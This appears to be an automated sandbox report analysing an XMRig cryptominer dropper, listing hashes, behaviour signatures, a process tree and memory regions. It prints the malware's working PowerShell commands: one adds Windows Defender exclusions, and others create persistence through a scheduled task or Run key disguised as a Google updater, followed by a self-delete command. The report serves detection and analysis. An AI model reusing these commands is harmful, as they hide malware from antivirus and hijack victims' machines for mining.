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Resubmissions

11/02/2025, 16:33

250211-t2ztsstkey 10

11/02/2025, 16:33

250211-t2zh2atkex 10

11/02/2025, 16:33

250211-t2yxhatkew 10

11/02/2025, 16:33

250211-t2nrjasqdk 10

24/10/2024, 20:12

241024-yyvg5asemn 10

24/10/2024, 20:11

241024-yygk9ssemk 10

24/10/2024, 20:11

241024-yygahasemj 10

24/10/2024, 20:11

241024-yyd55sselq 10

24/10/2024, 20:08

241024-yw247asdqp 10

24/10/2024, 20:08

241024-yw1lcssdqn 10

Analysis

  • max time kernel
    1799s
  • max time network
    1803s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/10/2024, 20:11

General

  • Target

    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3416
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (20).exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (20).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1520
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4268
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1444
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:232
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2580
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (20).exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1944
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:3424
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4852
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2632
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:1036
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:3572
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:3684
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:320
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:2452
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3052

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • C:\Program Files\Google\Libs\g.log

            Filesize

            226B

            MD5

            fdba80d4081c28c65e32fff246dc46cb

            SHA1

            74f809dedd1fc46a3a63ac9904c80f0b817b3686

            SHA256

            b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

            SHA512

            b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            e243a38635ff9a06c87c2a61a2200656

            SHA1

            ecd95ed5bf1a9fbe96a8448fc2814a0210fa2afc

            SHA256

            af5782703f3f2d5a29fb313dae6680a64134db26064d4a321a3f23b75f6ca00f

            SHA512

            4418957a1b10eee44cf270c81816ae707352411c4f5ac14b6b61ab537c91480e24e0a0a2c276a6291081b4984c123cf673a45dcedb0ceeef682054ba0fc19cb4

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            5852219175a8d868d3df82d7d27b4dc5

            SHA1

            8f0bfcd9cd9ef634b80f1b9d335d57c02918c6d5

            SHA256

            af6cdf878a4101df24648712134b8e63f24f5c2a6af4c1f41c8f9b32aff819d5

            SHA512

            80e43e02bdc43b2ec68d6d3eecae7d8e563dea7e6b6feebde6e9f41ea0b7064981aaccf6d15fb6d554923f58f6bd66daedfc142c9e34a70bf79ba1e17ba825cc

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wh5pddnc.0xh.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            4KB

            MD5

            bdb25c22d14ec917e30faf353826c5de

            SHA1

            6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

            SHA256

            e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

            SHA512

            b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            b42c70c1dbf0d1d477ec86902db9e986

            SHA1

            1d1c0a670748b3d10bee8272e5d67a4fabefd31f

            SHA256

            8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

            SHA512

            57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

          • memory/1036-113-0x00007FF6E08D0000-0x00007FF6E08E6000-memory.dmp

            Filesize

            88KB

          • memory/1036-108-0x00007FF6E08D0000-0x00007FF6E08E6000-memory.dmp

            Filesize

            88KB

          • memory/1444-18-0x00007FFC75390000-0x00007FFC75E51000-memory.dmp

            Filesize

            10.8MB

          • memory/1444-30-0x00007FFC75390000-0x00007FFC75E51000-memory.dmp

            Filesize

            10.8MB

          • memory/1444-32-0x00007FFC75390000-0x00007FFC75E51000-memory.dmp

            Filesize

            10.8MB

          • memory/1444-29-0x00007FFC75390000-0x00007FFC75E51000-memory.dmp

            Filesize

            10.8MB

          • memory/1520-34-0x00007FF7E8190000-0x00007FF7E83A1000-memory.dmp

            Filesize

            2.1MB

          • memory/1520-0-0x00007FF7E8190000-0x00007FF7E83A1000-memory.dmp

            Filesize

            2.1MB

          • memory/2452-134-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-120-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-166-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-164-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-162-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-160-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-158-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-156-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-154-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-152-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-150-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-148-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-146-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-102-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-144-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-142-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-107-0x00000288AB370000-0x00000288AB390000-memory.dmp

            Filesize

            128KB

          • memory/2452-110-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-109-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-140-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-112-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-138-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-114-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-116-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-118-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-136-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-122-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-124-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-126-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-128-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-130-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2452-132-0x00007FF7257A0000-0x00007FF725F94000-memory.dmp

            Filesize

            8.0MB

          • memory/2632-97-0x000001B5670E0000-0x000001B567195000-memory.dmp

            Filesize

            724KB

          • memory/3052-103-0x00007FF7524C0000-0x00007FF7526D1000-memory.dmp

            Filesize

            2.1MB

          • memory/3052-47-0x00007FF7524C0000-0x00007FF7526D1000-memory.dmp

            Filesize

            2.1MB

          • memory/4268-13-0x00007FFC75390000-0x00007FFC75E51000-memory.dmp

            Filesize

            10.8MB

          • memory/4268-1-0x00007FFC75393000-0x00007FFC75395000-memory.dmp

            Filesize

            8KB

          • memory/4268-12-0x00007FFC75390000-0x00007FFC75E51000-memory.dmp

            Filesize

            10.8MB

          • memory/4268-2-0x0000016169C80000-0x0000016169CA2000-memory.dmp

            Filesize

            136KB

          • memory/4268-16-0x00007FFC75390000-0x00007FFC75E51000-memory.dmp

            Filesize

            10.8MB

          • memory/4852-73-0x00000258BC8A0000-0x00000258BC8A6000-memory.dmp

            Filesize

            24KB

          • memory/4852-74-0x00000258BC8B0000-0x00000258BC8BA000-memory.dmp

            Filesize

            40KB

          • memory/4852-66-0x00000258BC630000-0x00000258BC64C000-memory.dmp

            Filesize

            112KB

          • memory/4852-72-0x00000258BC870000-0x00000258BC878000-memory.dmp

            Filesize

            32KB

          • memory/4852-71-0x00000258BC8C0000-0x00000258BC8DA000-memory.dmp

            Filesize

            104KB

          • memory/4852-70-0x00000258BC860000-0x00000258BC86A000-memory.dmp

            Filesize

            40KB

          • memory/4852-69-0x00000258BC880000-0x00000258BC89C000-memory.dmp

            Filesize

            112KB

          • memory/4852-68-0x00000258BC710000-0x00000258BC71A000-memory.dmp

            Filesize

            40KB

          • memory/4852-67-0x00000258BC650000-0x00000258BC705000-memory.dmp

            Filesize

            724KB